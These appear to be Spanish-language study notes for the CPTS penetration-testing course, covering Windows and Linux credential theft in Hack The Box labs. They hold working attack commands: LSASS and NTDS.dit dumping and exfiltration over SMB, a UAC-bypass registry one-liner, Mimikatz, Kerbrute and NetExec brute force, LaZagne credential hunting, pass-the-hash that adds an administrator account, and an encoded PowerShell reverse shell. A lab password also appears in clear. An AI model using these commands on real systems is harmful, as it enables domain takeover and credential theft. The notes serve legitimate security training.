Una vez obtenido el .dmp podemos usar pypykatz para extraer las credenciales. Es una implementacion de Mimikatz pero en Python para poder ser ejecutada en Linux

LSASS almacena credenciales de sesiones activas por lo que cuando hacemos el volcado en realidad es una INSTANTEA de lo que habia en memoria en ese momento

  1. Uso de pypykatz
pypykatz lsa minidump /RUTA.ARCHIVO.dmp

![[Pasted image 20260611134214.png]]

Informacion util:

  1. MSV: paquete de autenticacion Windows al que LSA llama para validad los intentos de inicio de sesion en la base de datos SAM

![[Pasted image 20260611134250.png]]

  1. WDIGEST: protocolo de autenticacion antiguo habilitado de forma predeterminada en Windows XP,8, Server 2003 y 2012. Guarda las credenciales en texto plano

![[Pasted image 20260611134423.png]]

  1. Kerberos: protocolo de autenticacion de red de AD. Las cuentas de usuario reciben tickets tras su autenticacion en AD que se usa para acceder a recursos compartidos de red. Passwords, tickets, pins… que son usados para acceder a otros servicios son posibles de extraer desde aqui

![[Pasted image 20260611134548.png]]

  1. DPAPI: se puede extraer el masterkey de DPAPI para usaurios conectados. Esta se puede usar posteriormente para descifrar credenciales de aplicaciones asociadas a DPAPI (se tratan en la escalada de privilegios)

![[Pasted image 20260611134750.png]]

Descifrando hash NT obtenido

sudo hashcat -a 0 -m 1000 'HASH' /RUTA/WORDLIST

Ejemplo practico

  1. Nos conectamos via RDP

![[Pasted image 20260611135305.png]]

  1. Hacemos volcado de lsass de las dos formas, interactiva y a traves de terminal
  • Interactiva:

![[Pasted image 20260611135433.png]]![[Pasted image 20260611135459.png]]

C:\Users\HTB-ST~1\AppData\Local\Temp\lsass.dmp ![[Pasted image 20260611135818.png]]

  • Terminal: Abrimos PS como admin

![[Pasted image 20260611135804.png]]

  1. Lo pasamos a nuestra kali ![[Pasted image 20260611135914.png]]

![[Pasted image 20260611140107.png]]

  1. Volcamos el contenido con pypykatz

![[Pasted image 20260611140221.png]]![[Pasted image 20260611140256.png]]

  1. Desciframos

![[Pasted image 20260611140413.png]]

CPTS

4. Atacando Windows Credential Manager

Windows Vault y Credential Manager

Credential Manager permite a los usuarios y aplicaciones almacenar de forma segura credenciales relevantes para otrs sistemas y sitios web. Se almacenan en carpetas cifradas:

  • %UserProfile%\AppData\Local\Microsoft\Vault\
  • %UserProfile%\AppData\Local\Microsoft\Credentials\
  • %UserProfile%\AppData\Roaming\Microsoft\Vault\
  • %ProgramData%\Microsoft\Vault\
  • %SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\

Cada carpeta de boveda tiene un archivo Policy.vpol que contiene claves AES protegido por DPAPI. Estas claves AES se usan para cifrar las credenciales Las nuevas versiones de Windows usan Credential Guard para proteger aun mas las claves maestras de DPAPI

Credential Manager es la funcion/API orientada a usuarios mientras que los almacenes cifrados son las carpetas o bovedas

2 tipos de credenciales:

  1. Credential web: Credenciales asociadas a sitios web y cuentas en linea
  2. Credenciales Windows: se usa para almacenar tokens de inicio de sesion para diversos servicios y cuentas asociadas a usuarios, recursos…

Creacion de copias Windows Vault

Los Windows Vault se pueden exportar en archivos .crd a traves del Panel de Control o mediante el uso de rundll32. Se cifran con una contraseña proporcionada por el usuario y se pueden exportar a otros sistemas Windows:

![[Pasted image 20260611185947.png]]

rundll32 keymgr.dll,KRShowKeyMgr

![[Pasted image 20260611190144.png]]

Enumeracion de credenciales con cmdkey y uso runas

cmdkey: enumera credenciales almacenadas en el perfil del usuario

  1. Listado de credenciales:
cmdkey /list

![[Pasted image 20260611190351.png]]

Explicacion de la salida:

Clave Valor
Target Recurso o nombre de cuenta para el que sirve la credencial (computadora, nombre de dominio…)
Type Tipo de credencial (Generic, Domain Password…)
User Cuenta de usuario asociada
Persistencia Indica si se guarda de forma persistente (las Local machine persistence resisten a reinicios)
  1. La segunda credencial encontrada en la salida (Domain:interactive=SRV01\mcharles) es una contraseña de dominio que puede ser usada con runas para abrir una terminal interactiva y hacernos pasar por el usuario
runas /savecred /user:SRV01\mcharles cmd

![[Pasted image 20260611190840.png]]

Extrayendo credenciales con Mimikatz

Antes de esto necesitaremos una cuenta administrador. Podemos usar esta tecnica que nos permite ejecutar un proceso como administrador sin el aviso de UAC. Ejecutaremos un cmd.exe modificando un Registry Hive mediante la ejecucion de otro .exe:

reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f && reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd.exe" /f && start computerdefaults.exe

Se pueden usar muchas herramientas para descifrar las credenciales almacenadas. Con mimikatz. poder usar el modulo sekurlsa para volcarlas de la memoria o descifrarlas manualmente usando el modulo dpapi

mimikatz.exe
	privilege::debug
	sekurlsa::credman o logonpasswords(OBTINE HASHES TAMBIEN)

![[Pasted image 20260611191130.png]]

Nota: Algunas otras herramientas que pueden usarse para enumerar y extraer credenciales almacenadas incluyen SharpDPAPILaZagne y DonPAPI.

Ejemplo practico

  1. Nos conectamos via RDP

![[Pasted image 20260611192315.png]]

  1. Miramos las credenciales almacenadas

![[Pasted image 20260611192441.png]]

  1. Usamos runas para hacernos pasar por el usuario del cual tenemos una credencial de Dominio guardada

![[Pasted image 20260611192613.png]]

  1. Vamos a pasarle mimikatz.exe pero primero debemos saber la arquitectura con sysinfo

![[Pasted image 20260611193321.png]]

  1. Creamos un servidor smb para pasar el mimikatz.exe de (https://github.com/ParrotSec/mimikatz.git)

![[Pasted image 20260611193409.png]]![[Pasted image 20260611193518.png]]

Hay que ponerle credenciales al smbshare

![[Pasted image 20260611194007.png]] ![[Pasted image 20260611193955.png]]

  1. Usamos mimiaktz pero primero debemos escalar privilegios para poder ejecutar mimikatz

![[Pasted image 20260611195229.png]]

![[Pasted image 20260611195350.png]]

CPTS

5. Atacando AD Y Ntds.dit

En este caso, una vez que una maquina esta unida a un dominio, cuando se autentique ya no contrastara la informacion con el SAM local sino que ahora enviara las solicitudes al KDC para verificar las solicitudes

No significa que no se pueda usar SAM para la autenticacion de cuentas locales

Ataques de diccionario a cuentas AD que usan NetExec

Se trata de tratar de adivinar el usuarios o contraseña mediante la comparacion de una wordlist. Puede generar mucho trafico en la red y ser ruidoso o incluso generar rechazos

Podemos realizar una busqueda en sitios web de la emrpesa y RRSS para la busqueda de empleados. Las empresas suelen usar nomenglaturas para los nombres de usuario. Ejemplos de nomenglaturas:

![[Pasted image 20260611200630.png]]

Tambien nos podremos fijar en el nombre del correo: USERNAME@dominio

Imaginemos que hemos encontrado los siguientes nombres en nuestra busqueda:

![[Pasted image 20260611200819.png]]

Podemos crear una wordlist con la combinacion de nombres y nomenglaturas de forma manual:

![[Pasted image 20260611200843.png]]

O tambien de forma automatica mediante el uso de Username Anarchy:

./username-anarchy -i ARCHIVO.txt

![[Pasted image 20260611200958.png]]

Enumeracion de nombres de usuario validos con Kerbrute

Kerbrute: se puede usar para fuerza bruta, password spraying y enumeracion de usuarios

https://github.com/ropnop/kerbrute/releases/tag/v1.0.3

Enumeracion de usuarios:

./kerbrute_linux_amd64 userenum --dc IP_KDC --domain DOMAIN ARCHIVO.txt

![[Pasted image 20260611201214.png]]

Lanzar ataque de fuerza bruta con NetExec

Una vez tengamos la lista o descubramos la nomenglaruta y algunos nombres podemos hacer un ataque de fuerza bruta contra el KDC:

netexec smb IP_KDC -u USER -p /usr/share/wordlists/fasttrack.txt

Es posible que bloquemos la cuenta a la que nos dirigimos, pero por defecto la politica de bloqueo no se aplica de forma predeterminada por lo que puede haber sistemas vulnerables

Estas acciones de fuerza bruta pueden quedar registradas en Event Viewer en los Security Logs: ![[Pasted image 20260611201713.png]]

Capturando el NTDS.dit

NTDS es el servicio de directorio usado por AD para encontrar y organizar recursos de red .dit significa árbol de información de directorio

NTDS.dit es el archivo base de datos principal asociado al AD y almacena todos los nombres de usuario de dominio, hashes de contraseñas y otra informacion. Con este archivo se podrian comprometer potencialmente todas las credenciales del dominio

  1. Nos conectamos al KDC
evil-winrm -i IP -u USER -p PASS
  1. Comprobamos los privilegios del usuario, podemos analizar la membresia del grupo local. Buscamos que este dentro de Administrators o Domain Admins o equivalentes:
net localgroup

![[Pasted image 20260611203920.png]]

  1. Comprobamos priovilegios cuenta de usuario incluido el dominio. En este caso tenemos privilegios tanto de administrador como adminsitrador de dominio por lo que podemos hacer casi todo:
net user USER

![[Pasted image 20260611204101.png]]

  1. Creamos una copia oculta de C: con vssadmin (o del volumen necesario pero es muy probable que NTDS.dit se encuentre en C: ya que es la ubicacion predeterminada). VSS permite crear una copia que se pueda leer y escribir activamente
vssadmin CREATE SHADOW /For=C:

![[Pasted image 20260611204401.png]]

  1. Copiamos NTDS.dit con VSS desde la copia oculta de C: a otra ubicacion para prepararnos para enviarla a nuestro host de ataque:
PS> cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
  1. Obtenemos el SYSTEM porque es necesario al igual que con el SAM para descifrarlo
reg.exe save hklm\system C:\NOMBRE.save
  1. Lo movemos al host de ataque mediante un smbshare
  • En el host de ataque
imapcket-smbshare -smb2support SMBShare ./ (-username USER -password PASS)
  • En el host objetivo
PS> net use \\IP\SMBShare /user:USER PASS
PS> cmd.exe move C:\NTDS\NTDS.dit \\IP\SMBShare
PS> cmd.exe move C:\NTDS\NOMBRE.save \\IP\SMBShare
  1. Por ultimo hacemos la extraccion
impacket-secretdump -ntds NTDS.dit -system NOMBRE.save LOCAL

![[Pasted image 20260611205043.png]]

Metodo mas rapido con NetExec

NetExec nos va a permitir hacer todos los pasos de arriba con un solo comando (nos permite usar VSS para capturar y volcar el contenido de NTDS)

netexec smb IP_KDC -u USER -p PASS -M ntdsutil

![[Pasted image 20260611205256.png]]

Descifrado

sudo hashcat -a 0 -m 1000 'HASH' /RUTA/WORDLIST

Pass The Hash PtH

evil-winrm -i IP -u USER -H HASH

Ejemplo practico

  1. Creamos una lista con los nombres de usuarios y usamos Username Anarchy para crear una lista con nomenglaturas diferentes

![[Pasted image 20260611210151.png]]![[Pasted image 20260611210323.png]]![[Pasted image 20260611210513.png]]

  1. Lo copiamos en un archivo y hacemos una enumeracion de usaurios

![[Pasted image 20260611210610.png]]

  1. Antes de enumerar usuarios debemos conocer el nombre del dominio. Para eso miramos con crackmapexec ![[Pasted image 20260611212157.png]]

  2. Enumeramos usuarios del dominio

![[Pasted image 20260611212240.png]]

  1. Nos piden las credenciales del usuario jmarston, realizamos fuerza bruta

![[Pasted image 20260611212629.png]]![[Pasted image 20260611212655.png]]

Otra opcion era hydra por ejemplo pero como usa un protocolo SMBv1 desactualizado se deberia hacer con el modulo de MSF smb_login

  1. Nos unimos mediante WinRM y comprobamos los privilegios y grupos a los que pertenecemos

![[Pasted image 20260611213121.png]]![[Pasted image 20260611213137.png]]

  1. Una vez hemos comprobado que tenemos privs suficientes creamos una copia de C: y copiamos el NTDS.dit y el SYSTEM

![[Pasted image 20260611213434.png]]![[Pasted image 20260611213907.png]]

  1. Lo pasamos a nuestro host de ataque

![[Pasted image 20260611214027.png]] ![[Pasted image 20260611214402.png]]

  1. Lo dumpeamos en local y crackeamos la pass de jstapleton

![[Pasted image 20260611214911.png]]![[Pasted image 20260611215002.png]]

CPTS

6. Credential Hunting

Terminos claves a buscar:

  • Passwords
  • Passphrases
  • Keys
  • Username
  • User account
  • Creds
  • Users
  • Passkeys
  • configuration
  • dbcredential
  • dbpassword
  • pwd
  • Login
  • Credentials

Herramientas

Busca archivos en el destino usando algunas palabras clave

![[Pasted image 20260611215842.png]]

LaZagne

LaZagne: para descubrir credenciales que los navegadores web u otras aplicaciones pueden almacenar de forma insegura

Deberiamos tener una instancia de LaZagne para pasarla rapidamente al host destino: https://github.com/AlessandroZ/LaZagne/releases/tag/v2.4.7

Modulos:

![[Pasted image 20260611220014.png]]

Uso de LaZagne:

start LaZagne.exe all

all: ejecutara todos los modulos

![[Pasted image 20260611220311.png]]

findstr

Podemos usarla para buscar patrones en muchos tipos de archivos usando palabras clave:

findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

Otros lugares

Aquí hay algunos otros lugares que debemos tener en cuenta al buscar credenciales:

  • Contraseñas en la política de grupo en el recurso compartido SYSVOL
  • Contraseñas en scripts en el recurso compartido SYSVOL
  • Contraseña en scripts en recursos compartidos de TI
  • Contraseñas enweb.config archivos en máquinas de desarrollo y recursos compartidos de TI
  • Contraseña en unattend.xml
  • Contraseñas en los campos de descripción del usuario o de la computadora de AD
  • Bases de datos de KeePass (si podemos adivinar o descifrar la contraseña maestra)
  • Se encuentra en sistemas de usuario y recursos compartidos
  • Archivos con nombres como , , que se encuentran en sistemas de usuario, recursos compartidos y Sharepointpass.txt``passwords.docx``passwords.xlsx

Ejemplos practicos

![[Pasted image 20260611220714.png]]

  1. Creds para conectarse via ssh: en el buscador de widnows poniendo pass sale un documento que al abrirlo encontramos las credenciales

![[Pasted image 20260611220820.png]] ![[Pasted image 20260611220836.png]]

  1. Codigo de acceso gitlab: mismo metodo de buscador de Windows

![[Pasted image 20260611220941.png]]![[Pasted image 20260611220950.png]]

  1. Credenciales WinSCP: no encontramos nada por buscador de Windows, vamos a probar pasando LaZagne y ahi encontramos las credenciales:

![[Pasted image 20260611221114.png]]![[Pasted image 20260611221308.png]]![[Pasted image 20260611221333.png]]![[Pasted image 20260611221407.png]]

  1. : no encontramos nada con LaZagne ni buscador de Windows por lo que procedemos a buscar poco a poco con el comando de findstr y usando palabras clave

![[Pasted image 20260611221747.png]]

  1. Contraseña predeterminada de cada cuenta de usuario de dominio Inlanefreight recién creada: mirando el sistema de archivo pudimos ver una carpeta en C:\ llamada Automatizaciones y scripts que nos puede ser util. Ahi estaba

![[Pasted image 20260611223557.png]]

  1. Credenciales Edge-Router: tambien dentro de la carpeta en C:\ llamada Automatizaciones y scripts habia una carpeta llamada AnsibleScripts y dentro se encontraba el archivo

![[Pasted image 20260611223430.png]]

CPTS

1. Proceso De Autenticacion Linux

Soporta varios metodos de autenticacion pero uno de los mas usados es PAM (pluggable Authentiation Modulos). Los modulos responsables son pam_unix.so o pam_unix2.so que suelen estar en /usr/lib/x86_64-linux-gnu/security/

Estos dos modulos gestionan la informacion del usuario, autenticacion, sesiones y cambios de contraseñas. Ejemplo: cuando se cambia de contraseña usando passwd se invoca PAM

Los archivos principales sobre los que lee y escribe PAM son:

  • /etc/passwd
  • /etc/shadow

/etc/passwd

contiene informacion sobre cada usuario del sistema y es legible por todos. Cada entrada tiene 7 campos:

![[Pasted image 20260611230233.png]]![[Pasted image 20260611230239.png]]

El campo mas importante es Password que puede tener diferentes tipos de entradas:

  • En sistemas muy antiguos puede estar el hash
  • En sistemas modernos los hashes estan en /etc/shadow y encontraremos en este campo una x

Si se puede escribir /etc/passwd podemos eliminar la entrada del campo passwd para eliminar la contraseña de ese usuario de la siguiente manera:

![[Pasted image 20260611230441.png]] ![[Pasted image 20260611230459.png]]

/etc/shadow

Contiene toda la informacion de las contraseñas. Tiene 9 campos:

![[Pasted image 20260611230605.png]]![[Pasted image 20260611230610.png]]

Si el campo Password tiene entrada “! o *” significa que no puede inciar sesion con contraseña Unix pero si por otros metodos como Kerberos o con Keys

Si el campo Password esta vacio no hace falta contraseña para iniciar sesion y puede que ciertos programas nieguen su acceso

Formato campo Password:

  • $<id>$<salt>$<hashed>

![[Pasted image 20260611230908.png]]

Opasswd

PAM puede evitar que los usuarios usen contraseñas antiguas almacenandolas en /etc/security/opasswd (se requieren privilegios para leerlo)

![[Pasted image 20260611231039.png]]

Varias entradas separadas por ‘,’. Hay que poner atencion en el tipo de hash porque pueden ser mas faciles de descifrar que el de /etc/shadow y se pueden ver patrones

Descifrando credenciales Linux

Podemos combinar /etc/shadow y /etc/shadow para combinar ambos archivos y descifrarlos a la vez

sudo cp /etc/shadow /tmp/shadow.bak
sudo cp /etc/passwd /tmp/passwd.bak
unshadow /tmp/shadow.bak /tmp/passwd.bak > /tmp/unshadowed.bak
hashcat -a 0 -m 1800 /tmp/unshadowed.bak /RUTA/WORDLSIT -o /tmp/unshadowed.cracked
john --single /tmp/unshadowed.bak

Ejemplo practico

  1. Descargamos el zip y unimos el passwd y shadow ![[Pasted image 20260611232012.png]]

  2. Nos piden descifrar el hash en modo single de martin y vemos que su hash es $6$ (sha-512)

![[Pasted image 20260611232109.png]] ![[Pasted image 20260611232310.png]]

  1. Nos piden descifrar el hash de sarah tambien es sha-512

![[Pasted image 20260611232527.png]]![[Pasted image 20260611232730.png]]![[Pasted image 20260611232743.png]]

CPTS

2. Credential Hunting En Linux

Cosas que mirar:

  • Archivos: de configuracion, bases de datos, notas, scripts, codigo, cronjobs y claves SSH
  • History command: para ver registros e historial de comandos
  • Memoria: cache y procesamiento en memoria
  • Key-rings: credenciales almacenadas por el navegador

Archivos

En linux todo es un archivo. Archivos a mirar:

  • Archivos de configuración
  • Bases de datos
  • Notas
  • Guiones
  • Trabajos cron
  • Claves SSH

Archivos de configuracion

  1. Busqueda de archivos con terminacion .conf, .config o .cnf:
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

![[Pasted image 20260612095101.png]] 2. Busqueda dentro de estos archivos palabras como user, pass o password. En esta caso se hace a las que tengan externasion .cnf:

for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done

Archivos de base de datos

  1. Extensiones .sql, .db…
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done

![[Pasted image 20260612095050.png]]

  1. Se puede aplicar la segunda de archivos para buscar dentro palabras clave
for i in $(find / -name *.sql 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done

Buscando notas

find /home/* -type f -name "*.txt" -o ! -name "*.*"

![[Pasted image 20260612095036.png]]

En realidad no hace falta que tengan extension .txt pero es la mas tipica

Buscando scripts

  1. Extensiones .py, .pyc, .pl, .go…
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done

![[Pasted image 20260612095014.png]] 2. Se puede aplicar la segunda de archivos para buscar dentro palabras clave

for i in $(find / -name *.py 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done

Cronjobs

Son ejecucion de forma independiente y programada de comandos, programas y scripts. Estan en /etc/crontab o /etc/cron.daily, /etc/cron.hourly o /etc/cron.monthly

Los scritps y archivos usados por cron tambien pueden estar en /etc/cron.d

Algunas aplicaciones o scripts requieren tener credenciales para ejecutarse

  1. Buscamos cronjobs
cat /etc/crontab
ls -la /etc/cron.*/

![[Pasted image 20260612094445.png]]![[Pasted image 20260612094508.png]]

Archivos de historial

En el archivo .bash_history pero hay otros como .bashrc o .bash_profile

tail -n5 /home/*/.bash*

![[Pasted image 20260612095003.png]]

Enumeracion de archivos de registro

Son archivos en los que escriben servicios y el propio sistema. En ellos se ven errores del sistema, de servicios o seguimos lo que hace el sistema en segundo plano

4 tipos:

  • Registros de aplicaciones
  • Registros de eventos
  • Registros de servicio
  • Registros del sistema

Ubicaciones:

![[Pasted image 20260612095353.png]]

  1. Para encontrar contenido interesante
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done

![[Pasted image 20260612095449.png]]

Memoria y chache

Uso de minipenguin

Muchas aplicaciones y procesos necesitan credenciales para funcionar y las almacena en memoria u otros archivos

mimipenguin: facilita el proceso de busqueda de estas

sudo python3 mimipenguin.py

![[Pasted image 20260612100540.png]]

Uso de LaZagne

https://github.com/AlessandroZ/LaZagne.git

Es una herramienta mas poderosa que permite acceder a muchos recursos y extraer credenciales y hashes de las siguientes fuentes:

  • Wifi
  • Wpa_supplicant
  • Libsecret
  • Kwallet
  • Chromium-based
  • CLI
  • Mozilla
  • Thunderbird
  • Git
  • ENV variables
  • Grub
  • Fstab
  • AWS
  • Filezilla
  • Gftp
  • SSH
  • Apache
  • Shadow
  • Docker
  • Keepass
  • Mimipy
  • Sessions
  • Keyrings: se usa para el almacenamiento y gestion de forma segura de contraseñas en distribuciones Linux (se alamcenan cifradas y protegidas con una master key)
sudo python2.7 laZagne.py all
sudo python2.7 laZagne.py MODULO

![[Pasted image 20260612100842.png]]

Credenciales del navegador

Las guardan de forma cifrada localmente para reutilizarlas

Estas se almacenan en un archivo llamado logins.json

ls -l .moziilla/firefox/ | grep default
cat .moziilla/firefox/1bplpd86.default-release/logins.json | jq .

![[Pasted image 20260612101135.png]]

Para descifrar las contraseñas de firefox la herramienta Firefox Decrypt es muy buena (depende de la version requerira Python 3.9 o Python 2):

python3.9 firefox_decrypt.py

![[Pasted image 20260612101311.png]]

LaZagne tambien puede devolver resultados usando la herramienta browsers:

python3 laZagne.py browsers

![[Pasted image 20260612101353.png]]

Ejemplo practico

  1. Nos conectamos

![[Pasted image 20260612101605.png]]

  1. Nos piden encontrar las credenciales de Will
  • Buscamos en los archivos de configuracion ![[Pasted image 20260612102046.png]]

He realizado una busqueda dentro de los archivos con extension .cnf, .config y .conf en busca de palabras clave como pass, user… pero nada

![[Pasted image 20260612102334.png]]![[Pasted image 20260612102415.png]]

  • Buscamos en los archivos de bases de datos con la misma estrategia pero nada

![[Pasted image 20260612102514.png]]![[Pasted image 20260612102635.png]]![[Pasted image 20260612102644.png]]

  • Buscamos en archivos de notas donde no vi nada pero si archivo de mozilla firefox asi que voy a saltar directamente a usar LaZagne a ver si esta dentro ![[Pasted image 20260612102747.png]]![[Pasted image 20260612102756.png]]

  • LaZagne para buscar en memoria pero sobretodo en firefox y ahi estaba

![[Pasted image 20260612103642.png]]![[Pasted image 20260612103651.png]]

![[Pasted image 20260612103930.png]]![[Pasted image 20260612103945.png]]

CPTS

1. Busqueda De Credenciales En El Trafico De Red

Actualmente casi todos los servicios usan TLS para cifrar el contenido en transito

Tabla de protocolos con sus contrapartes cifradas:

![[Pasted image 20260612104520.png]]

Wireshark

Filtros basico:

![[Pasted image 20260612104606.png]]

Ejemplo de filtro por HTTP:

![[Pasted image 20260612104625.png]]

Ademas podemos buscar dentro de los paquetes palabras clave como pass usando el filtro de pantalla con CTL+F o Edit>Find Packet

![[Pasted image 20260612104729.png]]

Pcredz

Pcredz: herramienta que se puede usar para extraer credenciales de trafico vivo o de capturas de paquetes. Permite la extraccion de la siguiente info:

  • Números de tarjetas de crédito
  • Credenciales POP
  • Credenciales SMTP
  • Credenciales IMAP
  • Cadenas de la comunidad SNMP
  • Credenciales FTP
  • Credenciales de encabezados HTTP NTLM/Basic, así como formularios HTTP
  • Hashes NTLMv1/v2 de varios tipos de tráfico, incluidos DCE-RPC, SMBv1/2, LDAP, MSSQL y HTTP
  • Hashes Kerberos (AS-REQ Pre-Auth etype 23)
  1. Ejemplo contra un archivo de captura de paquetes
./Pcredz -f demo.pcapng -t -v

![[Pasted image 20260612105136.png]]

Ejemplo practico

Usando Pcredz encontramos varias cosas en el archivo de captura de trafico descargado:

  • Cadena comunitaria de SNMP2 ![[Pasted image 20260612110827.png]]

  • Contraseña de FTP ![[Pasted image 20260612110845.png]]

En WireShark abrimos el archivo y vamos buscando

  • Para buscar el archivo que se descargo por FTP filtramos por FTP y vemos todo lo que realizo. Ahi vemos que la transferencia fue de creds.txt

![[Pasted image 20260612111426.png]]

  • Para la tarjeta de credito he supuesto que estaba en una pagina web comprando por lo que he filtrado por HTTP y al ver todo lo que ha hecho en la pagina web vemos el recursos al que accedio llamado /process_payment. En la URL encode que es lo que se pasa por parametros vemos ahi el numero

![[Pasted image 20260612111634.png]]

CPTS

2. Credential Hunting En Recursos Compartidos De Red

Patrones de credenciales comunes

  • Busque palabras clave dentro de archivos comopassw ,user ,token ,key , ysecret .
  • Busque archivos con extensiones comúnmente asociadas con credenciales almacenadas, como.ini ,.cfg ,.env ,.xlsx ,.ps1 , y.bat .
  • Busque archivos con nombres “interesantes” que incluyan términos comoconfig ,user ,passw ,cred , oinitial .
  • Si está intentando localizar credenciales dentro delINLANEFREIGHT.LOCAL dominio, puede resultar útil buscar archivos que contengan la cadenaINLANEFREIGHT\.
  • Las palabras clave deben localizarse en función del objetivo; si estás atacando a una empresa alemana, es más probable que hagan referencia a a"Benutzer" que a"User" .
  • Presta atención a las acciones que estás mirando y sé estratégico. Si escaneas diez recursos compartidos con miles de archivos cada uno, te llevará una cantidad significativa de tiempo. Las acciones utilizadas porIT employees podrían ser un objetivo más valioso que las utilizadas para fotografías de empresas.

Caza desde Windows

Estas herramientas generan mucha cantidad de informacion y hay que revisarla manualmente para evitar FPs

Snaffler

Snaffler: identifica los recursos compartidos de red accesibles y busca archivos interesantes

snaffler.exe -s 

Parametros:

  • -u: recupera una lista de usuarios AD y busca referencias en los archivos
  • -i y -n: permiten especificar acciones que deben incluirse en la busqueda

![[Pasted image 20260612114226.png]]

PowerHuntShares

PowerHuntShares: no necesita ejecutarse en la maquina unida al dominio

![[Pasted image 20260612114530.png]]

Escaneo basico:

PS> Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\Users\Public

![[Pasted image 20260612114611.png]]

Caza en Windows

Manspider

MANSPIDER: nos permite escanear recursos compartidos SMB desde Linux

docker run --rm -v ./manspider:/root/.manspider blacklanternsecurity/manspider IP -c 'passw' -u 'USER' -p 'PASSWORD'

-c ‘pass’: busca archivos que contengan la cadena pass

Netexec

Tambien puede buscar recursos comparidos de red usando:

--spider
nxc smb IP -u USER -p 'PASSWORD' --spider IT --content --pattern "passw"

-pattern ‘pass’: busca archivos que contengan la cadena pass

Con esto descargamos todo y luego podemos buscar tranquilamente con grep:

netexec smb 10.129.234.173 -u mendres -p Inlanefreight2025! -M spider_plus -o DOWNLOAD_FLAG=True
grep -ri "pass" .

Ejemplo practico

Snaffler y PowerHuntShares estan en el sistema objetivo en C:\Users\Public

![[Pasted image 20260612121015.png]]

![[Pasted image 20260612121120.png]]

  1. Usamos netexec que es mas facil buscar luego

![[Pasted image 20260612123346.png]]

Tarda mucho, depues usamos grep:

![[Pasted image 20260612124235.png]]![[Pasted image 20260612124248.png]]

Despues usamos estas credenciales para volver a hacer lo mismo con netexec + grep

![[Pasted image 20260612124322.png]]

CPTS

1. Pass The Hash (pth)

Ataque donde se usa el hash de una contraseña en vez de un contraseña en texto claro para autenticarse

Los hashes se pueden obtener:

  • Volvado del SAM
  • Extraccion de los hashes del NTDS.dit
  • Extraccion de hashes en memoria lsass.exe

Introduccion a Windows NTLM

NTLM es un conjunto de protocolos de seguridad que autentica identidades de los usuarios y al mismo tiempo protege la integridad de sus datos Es un mecanismo de inicio de sesion que usa el protocolo de desafio respuesta para verificar la identidad que proporciona la contraseña

Con NTLM las credenciales no tienen salt por lo que si se consigue el hash se puede usar para autenticarnos sin conocer la credencial en texto plano

PtH Mimikatz

Mimikatz

Con el siguiente modulo podemos iniciar procesos en nombre de otro usuario:

sekurlsa::pth

Necesitamos:

  • /user: nombre del usuario a imitar
  • /rc4 o /NTLM: hash NTLM de la contraseña del usuario
  • /domain: dominio al que pertence el usuario a suplantar (en caso de cuenta local usamos el nombre de la maquina)
  • /run: programa a ejecutar
mimikatz.exe privilege::debug "sekurlsa::pth /user:USER /rc4:HASH /domain:DOMAIN /run:cmd.exe" exit

![[Pasted image 20260613110006.png]]

![[Pasted image 20260613110039.png]]

PtH con PS Invoke-TheHash

Invoke-TheHash: es una herramienta para realizar ataques PtH con WMI y SMB pasando el hash NTLM. Podemos ejecutar comandos en el Objetivo

No se necesitan privs desde nuestro lado pero el usuario suplantado debe tener privilegios en el sistema destino

Necesitamos:

  • Target: nombre del host o direccion IP
  • Username: nombre del usuario a usar
  • Domain: dominio (no es necesario con cuentas locales o si se usa USERNAME@domain)
  • Hash: NTLM o LM:NTLM
  • Command: comando a ejecutar

Ejemplo con SMB:

cd C:\Tools\Invoke-TheHash
Import-Module .\Invoke-TheHash.ps1
Invoke-SMBExec -Target IP -Domain DOMAIN -Username USER -Hash NTLM/LM:NTLM -Command "net user mark Password123 /add && net localgroup administrators mark /add"

![[Pasted image 20260613110716.png]]

Podriamos haber generado un shell inverso ejecutando comandos en el objetivo

  1. Listener en la maquina cliente:
.\nc.exe -lvnp PUERTO
  1. Payload reverse shell (revshells.com)

![[Pasted image 20260613110852.png]]

  1. Uso de Invoke-TheHash
Import-Module .\Invoke-TheHash.psd1
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqA..."
  1. Resultado

![[Pasted image 20260613110950.png]]

PtH Linux

PsExec Impacket

Impacket: Usaremos PsExec

impacket-psexec USER@IP -hashes HASH

![[Pasted image 20260613111452.png]]

Otras que podemos usar:

NetExec

NetExec: herramienta de postexplotacion que permite automatizar la evaluacion de seguridad de AD

Podemos usarlo para tratar de autenticarnos en todos los hosts de la red en busca de uno en el que podamos hacerlo de forma exitosa (puede bloquear cuentas de dominio dependiendo de las politicas)

netexec smb IP_red/mascara -u USER  -d . -H HASH (--local-auth)

